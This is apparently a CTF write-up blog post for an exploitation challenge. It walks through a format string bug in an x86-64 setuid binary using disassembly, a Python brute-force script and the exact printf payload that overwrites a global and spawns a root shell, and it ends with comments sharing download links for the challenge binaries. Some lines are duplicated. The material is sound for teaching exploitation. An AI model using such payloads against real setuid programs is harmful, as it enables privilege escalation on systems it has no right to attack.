For this challenge we got a x86-64 setuid binary. I couldnt finish the challenge in time, during the contest. Here is a write up on solving the challenge. We have to exploit a format string vulnerability in the x86-64 ELF binary. This is what the binary does
[*] While True
[*] A buffer space of 512 bytes is initialised to NULL
[*] fgets(buffer, 511, stdin) is used to get the user input
[*] printf(buffer) is called, resulting in a format string vulnerability
[*] A series of computations are made using the value of variable "cycle" which is set to NULL initially
[*] If the computations succeed, system("exec /bin/sh") is called. Else the loop continues from beginning
Important section of the binary:
[*] Find the value of cycle variable, to break the loop and execute system()
[*] Write this value into the cycle variable using the format string bug.
First find the value of cycle variable. A simple script can bruteforce this value. The value was found to be 1.
[*] Payload has to be aligned in 8 bytes(QWORD)
[*] fgets() can read NUL bytes and stops reading only with new line or EOF
[*] Piping data into the binary will not give an interactive shell
Now lets pass the address and try writing data into the location
[*] While True
[*] A buffer space of 512 bytes is initialised to NULL
[*] fgets(buffer, 511, stdin) is used to get the user input
[*] printf(buffer) is called, resulting in a format string vulnerability
[*] A series of computations are made using the value of variable "cycle" which is set to NULL initially
[*] If the computations succeed, system("exec /bin/sh") is called. Else the loop continues from beginning
Important section of the binary:
0x0000000000400630 <+28>: nop # while 1 0x0000000000400631 <+29>: lea rsi,[rbp-0x210] 0x0000000000400638 <+36>: mov eax,0x0 0x000000000040063d <+41>: mov edx,0x40 # 64 0x0000000000400642 <+46>: mov rdi,rsi 0x0000000000400645 <+49>: mov rcx,rdx 0x0000000000400648 <+52>: rep stos QWORD PTR es:[rdi],rax # initialize 512 bytes of memory [rbp-0x210] to NULL 0x000000000040064b <+55>: mov rax,QWORD PTR [rip+0x2009e6] # 0x601038 ;stdin 0x0000000000400652 <+62>: mov rdx,rax 0x0000000000400655 <+65>: lea rax,[rbp-0x210] 0x000000000040065c <+72>: mov esi,0x1ff 0x0000000000400661 <+77>: mov rdi,rax 0x0000000000400664 <+80>: call 0x400510 <fgets@plt> # fgets([rbp-0x210], 511, stdin) 0x0000000000400669 <+85>: lea rax,[rbp-0x210] 0x0000000000400670 <+92>: movzx eax,BYTE PTR [rax] 0x0000000000400673 <+95>: test al,al 0x0000000000400675 <+97>: jne 0x400681 <main+109> 0x0000000000400677 <+99>: mov edi,0xffffffff 0x000000000040067c <+104>: call 0x400520 <exit@plt> 0x0000000000400681 <+109>: lea rax,[rbp-0x210] 0x0000000000400688 <+116>: mov rdi,rax 0x000000000040068b <+119>: mov eax,0x0 0x0000000000400690 <+124>: call 0x4004f0 <printf@plt> # printf([rbp-0x210]) ; format string vulnerability 0x0000000000400695 <+129>: mov eax,DWORD PTR [rip+0x2009b5] # 0x601050 <cycle>==NULL 0x000000000040069b <+135>: and eax,0xffff 0x00000000004006a0 <+140>: mov DWORD PTR [rbp-0x218],eax 0x00000000004006a6 <+146>: mov eax,DWORD PTR [rip+0x2009a4] # 0x601050 <cycle> 0x00000000004006ac <+152>: shr eax,0x10 0x00000000004006af <+155>: mov DWORD PTR [rbp-0x214],eax 0x00000000004006b5 <+161>: mov eax,DWORD PTR [rbp-0x218] 0x00000000004006bb <+167>: mov edx,eax 0x00000000004006bd <+169>: imul edx,DWORD PTR [rbp-0x218] 0x00000000004006c4 <+176>: mov eax,DWORD PTR [rbp-0x214] 0x00000000004006ca <+182>: imul eax,DWORD PTR [rbp-0x214] 0x00000000004006d1 <+189>: imul eax,eax,0xffffffffffffffe3 0x00000000004006d4 <+192>: add eax,edx 0x00000000004006d6 <+194>: cmp eax,0x1 0x00000000004006d9 <+197>: jne 0x400630 <main+28> # else break 0x00000000004006df <+203>: mov edi,0x4007dc 0x00000000004006e4 <+208>: call 0x4004e0 <system@plt> # system("exec /bin/sh") 0x00000000004006e9 <+213>: jmp 0x400630 <main+28>To exploit the binary:
[*] Find the value of cycle variable, to break the loop and execute system()
[*] Write this value into the cycle variable using the format string bug.
First find the value of cycle variable. A simple script can bruteforce this value. The value was found to be 1.
#!/usr/bin/env python # 200.py for i in range(10000): val1 = i & 0xffff val2 = i >> 0x10 edx = val1 * val1 eax = val2 * val2 eax = eax * -29 eax = eax + edx if eax == 1 : print iNow, we have to write 1 into the memory location 0x601050 (&cycle). Lets try this using format string vulnerability
renorobert@renorobert:~/Desktop$ echo -ne '%qx.%qx.%qx.%qx.%qx.%qx.%qx.%qx.%qx' | ./expl200 7f72ab59b000.7f72ab377ac0.7fffd2f54980.7871252e7871252e.0.7fffd2f54b30.1.2e7871252e787125.2e7871252e78712We can reach our buffer containing format string in 8 QWORDs. There are few things that we should note
[*] Payload has to be aligned in 8 bytes(QWORD)
[*] fgets() can read NUL bytes and stops reading only with new line or EOF
[*] Piping data into the binary will not give an interactive shell
Now lets pass the address and try writing data into the location
renorobert@renorobert:~/Desktop$ echo -ne '|%9$qxAA\x50\x10\x60' | ./expl200 |601050AAP `"|%9$qxAA" is 8 bytes of data, byte aligned to QWORD. 9th QWORD has the adress of destination to overwrite
renorobert@renorobert:~/Desktop$ echo -ne '|%9$qnAA\x50\x10\x60' | ltrace -i ./expl200 [0x400559] __libc_start_main(0x400614, 1, 0x7fffaa066828, 0x4006f0, 0x400780 <unfinished ...> [0x400669] fgets(NULL, -403578880, 0x7fcbe7cfaac0) = 0x7fffaa066530 [0x400695] printf("|%9$qnAAP\020`", 0x7fcbe7f1e000) = 6 [0x4006e9] system("exec /bin/sh" <unfinished ...> [0x7fcbe79766e0] --- SIGCHLD (Child exited) --- [0x4006e9] <... system resumed> ) = 0 [0x400669] fgets(NULL, -403578880, 0x7fcbe7cfaac0) = NULL [0x400681] exit(-1|AAP ` <unfinished ...> [0xffffffffffffffff] +++ exited (status 255) +++ renorobert@renorobert:~/Desktop$ echo -ne '|%9$qnAA\x50\x10\x60' | ./expl200 |AAP `We have managed to execute system() function but there is no interactive shell. To overcome this, we will use cat command. fgets has to be terminated with newline '\n'
renorobert@renorobert:~/Desktop$ (echo -ne '|%9$qnAA\x50\x10\x60';cat) | ./expl200 id Segmentation faultThis is because, the newline 0x0a is written along with the address. So the address becomes 0x0a601050 instead of 0x601050. We will pad the address 0x601050 with 5 bytes of NUL to get a QWORD alignment. Now the new line 0x0a will be written into the 3rd QWORD.
renorobert@renorobert:~/Desktop$ (echo -ne '|%9$qnAA\x50\x10\x60\x00\x00\x00\x00\x00\n';cat) | ./expl200 id uid=1000(renorobert) gid=1000(renorobert) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(renorobert)We got a shell on the setuid root binary
Hi Reno Robert,
ReplyDeleteCould you please to share all binary of Volga CTF Exploitation challenges ? Thanks
Best Regards,
Hi VnSpl0it,
DeleteI have only exploitation 100 and 200 with me :(
http://www.mediafire.com/?f7tr2iqfmcy8ji8
http://www.mediafire.com/?dtflkm8f38hfnxm